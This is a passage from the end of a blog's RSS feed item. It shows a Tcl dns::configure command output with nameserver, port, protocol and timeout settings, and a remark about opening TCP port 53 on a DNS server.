1.3.2<br />
% dns::configure<br />
-loglevel warn -nameserver 192.168.1.1 -port 53 -protocol udp -search {} -timeout 30000</code></code></p>
<p>Or, alternatively, you can always just open up 53/TCP on your DNS server.</p>
]]></content:encoded>
			<wfw:commentRss>http://trojanedbinaries.com/blog/?feed=rss2&amp;p=129</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
